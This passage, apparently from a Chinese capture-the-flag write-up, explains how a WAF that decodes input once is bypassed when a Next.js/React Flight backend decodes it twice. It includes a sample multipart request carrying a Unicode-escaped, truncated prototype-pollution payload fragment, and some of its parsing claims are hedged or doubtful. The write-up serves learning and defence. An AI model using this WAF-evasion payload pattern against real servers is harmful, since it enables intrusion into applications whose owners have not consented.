| 2. 后端会解码两次(或更多) | 应用代码在 WAF 之后又做了一次(或多次)urldecode(),最终还原出原始 payload。 |
🧩 这种"WAF 解一层,后端解两层"的处理层数不一致,才是二次编码绕过的根本原因。
关键纠正 :WAF检查完后,转发的是原始请求,不是解码后的内容!
两次解码的具体来源
┌─────────────────────────────────────────────────────────┐
│ 第一次解码:HTTP请求体解析(Node.js/Next.js内置) │
│ Content-Type: multipart/form-data │
│ 解析表单数据时,自动处理字符编码 │
├─────────────────────────────────────────────────────────┤
│ 第二次解码:React Flight协议解析(应用层) │
│ 解析name="0"字段的JSON内容时 │
│ 对JSON字符串值进行Unicode转义解码 │
└─────────────────────────────────────────────────────────┘
详细流程图解
原始请求(你发送的)
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----mioqwq
------mioqwq
Content-Disposition: form-data; name="0"
{"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."} ← 单层Unicode编码
------mioqwq--
第一次解码:HTTP层
// Next.js接收HTTP请求
// 解析 multipart/form-data
const formData = await request.formData();
// formData.get("0") 返回:
// '{"\\u0074\\u0068\\u0065\\u006e": "\\u0024\\u0031\\u003a..."}'
// 注意:HTTP解析把 \u 变成了 \\u(转义了反斜杠)
// 或者如果声明了charset=utf16le,会按UTF-16LE解码
关键点 :HTTP层根据Content-Type做字符集解码,但不会解析\uXXXX这种JSON Unicode转义。
第二次解码:React Flight协议层
// Next.js拿到表单字段值后
// 进入 React Server Actions / Flight 协议处理
const payload = formData.get("0");
// payload = '{"\\u0074\\u0068\\u0065\\u006e": ...}'
// Flight协议解析JSON,并对字符串值进行Unicode解码
const parsed = JSON.parse(payload);
// 或者 Flight 特有的解码逻辑
// 结果:
parsed.then === "$1:__proto__:then" // \u0074\u0068\u0065\u006e 解码为 then
为什么Flight协议要二次解码?
这是React的序列化协议设计:
// React Flight 协议用于 Server Actions
// 它需要在JSON中传输特殊对象、Promise、Symbol等
// 传输时的编码:
const encoded = {
"then": "$1:__proto__:then", // 实际传输为 \u0074\u0068\u0065\u006e 等
"status": "resolved_model",
"_response": {...}
}
// 接收时解码:
// 1. HTTP层:字节 → 字符串
// 2. Flight层:字符串中的\uXXXX → 实际字符
设计目的:确保特殊字符在HTTP传输中不会被破坏,同时支持复杂的JavaScript对象序列化。
对比:普通JSON vs Flight协议
| 场景 | 解码次数 | 说明 |
|---|---|---|
| 普通JSON API | 1次 | HTTP解析后,JSON.parse不再处理\u |
| React Flight | 2次 | HTTP解析 + Flight专用Unicode解码 |
| 本题WAF | 1次 | 只做了unicode_escape解码 |